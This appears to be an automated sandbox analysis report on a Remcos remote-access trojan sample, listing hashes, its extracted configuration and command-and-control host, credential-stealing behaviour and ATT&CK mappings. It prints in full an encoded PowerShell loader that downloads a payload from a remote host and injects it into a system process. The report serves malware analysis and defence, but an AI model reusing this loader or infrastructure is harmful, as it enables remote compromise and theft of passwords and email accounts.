remcos | 94f4b27e66674daf491f6a3a583509a3d5a61e23bb7e4184ef708c924651989f

Analysis

max time kernel
147s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
27-01-2025 10:13

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General

Target

nicegivenmebestthingsevergivenmegreatthingskk.vbs
Size

223KB
MD5

c03f49b43b4c0e6e1eaf40170e9ae33b
SHA1

f4facdcac22aa1836be450fb448a337cf365b423
SHA256

94f4b27e66674daf491f6a3a583509a3d5a61e23bb7e4184ef708c924651989f
SHA512

ded87e2591a5a45e81ac67950de6de1808ac7eac693aab75ef98cf924eb0c340406764172377dbb65f34c18570c7efa9d1aa6548d42af731f39dfb1bcb77b77e
SSDEEP

3072:DKhVmI3b0mgfmWu+We9VOv5iG5sVhQ30Wk+70wgA11:DKhV1e9VOvp

Score

10^/10

remcos zyn collection discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

zyn

kobo2025rmc.duckdns.org:14646

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-ZU8BO7
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3704-37-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3188-36-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2388-38-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3704-37-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2388-38-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	4052	powershell.exe
8	4052	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4052	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4052 set thread context of 4800	4052	powershell.exe	85
PID 4800 set thread context of 2388	4800	CasPol.exe	86
PID 4800 set thread context of 3704	4800	CasPol.exe	87
PID 4800 set thread context of 3188	4800	CasPol.exe	88

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4052	powershell.exe
4052	powershell.exe
3188	CasPol.exe
3188	CasPol.exe
2388	CasPol.exe
2388	CasPol.exe
2388	CasPol.exe
2388	CasPol.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4800	CasPol.exe
4800	CasPol.exe
4800	CasPol.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeDebugPrivilege	3188	CasPol.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 4052	916	WScript.exe	83
PID 916 wrote to memory of 4052	916	WScript.exe	83
PID 4052 wrote to memory of 4800	4052	powershell.exe	85
PID 4052 wrote to memory of 4800	4052	powershell.exe	85
PID 4052 wrote to memory of 4800	4052	powershell.exe	85
PID 4052 wrote to memory of 4800	4052	powershell.exe	85
PID 4052 wrote to memory of 4800	4052	powershell.exe	85
PID 4052 wrote to memory of 4800	4052	powershell.exe	85
PID 4052 wrote to memory of 4800	4052	powershell.exe	85
PID 4052 wrote to memory of 4800	4052	powershell.exe	85
PID 4052 wrote to memory of 4800	4052	powershell.exe	85
PID 4052 wrote to memory of 4800	4052	powershell.exe	85
PID 4800 wrote to memory of 2388	4800	CasPol.exe	86
PID 4800 wrote to memory of 2388	4800	CasPol.exe	86
PID 4800 wrote to memory of 2388	4800	CasPol.exe	86
PID 4800 wrote to memory of 2388	4800	CasPol.exe	86
PID 4800 wrote to memory of 3704	4800	CasPol.exe	87
PID 4800 wrote to memory of 3704	4800	CasPol.exe	87
PID 4800 wrote to memory of 3704	4800	CasPol.exe	87
PID 4800 wrote to memory of 3704	4800	CasPol.exe	87
PID 4800 wrote to memory of 3188	4800	CasPol.exe	88
PID 4800 wrote to memory of 3188	4800	CasPol.exe	88
PID 4800 wrote to memory of 3188	4800	CasPol.exe	88
PID 4800 wrote to memory of 3188	4800	CasPol.exe	88

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nicegivenmebestthingsevergivenmegreatthingskk.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AZQBkAGMAYQBsAHAAZQBjAGkAbgBlAG0AcgBvAGYAbAByAGkAZwB5AHQAdQBhAGUAYgBlAGgAdABlAHMAbwBvAGgAYwAvAGwAYgBrAC8AcABwAG0AYQB4AC8AMAA0ADEALgA0ADQAMQAuADgANgAuADEANQAvAC8AOgBwAHQAdABoACcAOwAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAFQAZQB4AHQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGkAbQBhAGcAZQBVAHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAbQB3AG4AbQBlAG0AYwBtAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADcAOQA2ADIAMgA1ADMALwB0ADAAYgBzAGEAcQA3AGgAbgBkAGwAegBkAHIAcwBoAHQAeQBhAGoALgBqAHAAZwAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAG0AYQBpAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAZgBhAGwAcwBlACcALAAnAEMAYQBzAFAAbwBsACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4052
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:4800
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\cdkzmttukogjdzmemzxavdhgbjlxr"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2388
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\fypjmldoyeyofgiivkjbyqbpjpuykwmp"
      4⤵
      Accesses Microsoft Outlook accounts
      System Location Discovery: System Language Discovery
      PID:3704
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\pscc"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3188

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_isssuhpk.jri.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\cdkzmttukogjdzmemzxavdhgbjlxr

Filesize
4KB

MD5
c3c5f2de99b7486f697634681e21bab0

SHA1
00f90d495c0b2b63fde6532e033fdd2ade25633d

SHA256
76296dc29f718988107d35d0e0b835c2bf3fc7405e79e5121aa4738f82b51582

SHA512
7c60ffdc093de30e793d20768877f2f586bee3e948767871f9a1139252d5d2f593ba6f88ce0ed5f72c79faddb26186792df0581e4b6c84d405c44d9d12f951b8

Download Submit
memory/2388-38-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2388-33-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2388-30-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3188-32-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3188-35-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3188-36-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3704-37-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3704-34-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3704-31-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4052-19-0x00007FFA3CB70000-0x00007FFA3D631000-memory.dmp

Filesize
10.8MB

Download
memory/4052-14-0x000001A5C2360000-0x000001A5C2366000-memory.dmp

Filesize
24KB

Download
memory/4052-0-0x00007FFA3CB73000-0x00007FFA3CB75000-memory.dmp

Filesize
8KB

Download
memory/4052-13-0x000001A5C2350000-0x000001A5C2364000-memory.dmp

Filesize
80KB

Download
memory/4052-12-0x00007FFA3CB70000-0x00007FFA3D631000-memory.dmp

Filesize
10.8MB

Download
memory/4052-11-0x00007FFA3CB70000-0x00007FFA3D631000-memory.dmp

Filesize
10.8MB

Download
memory/4052-10-0x000001A5C2370000-0x000001A5C2392000-memory.dmp

Filesize
136KB

Download
memory/4800-21-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-44-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4800-27-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-26-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-24-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-25-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-23-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-22-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-20-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-18-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-15-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-48-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4800-47-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4800-29-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-49-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-50-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-51-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-52-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-53-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-54-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-55-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-56-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-57-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-58-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-59-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4800-60-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download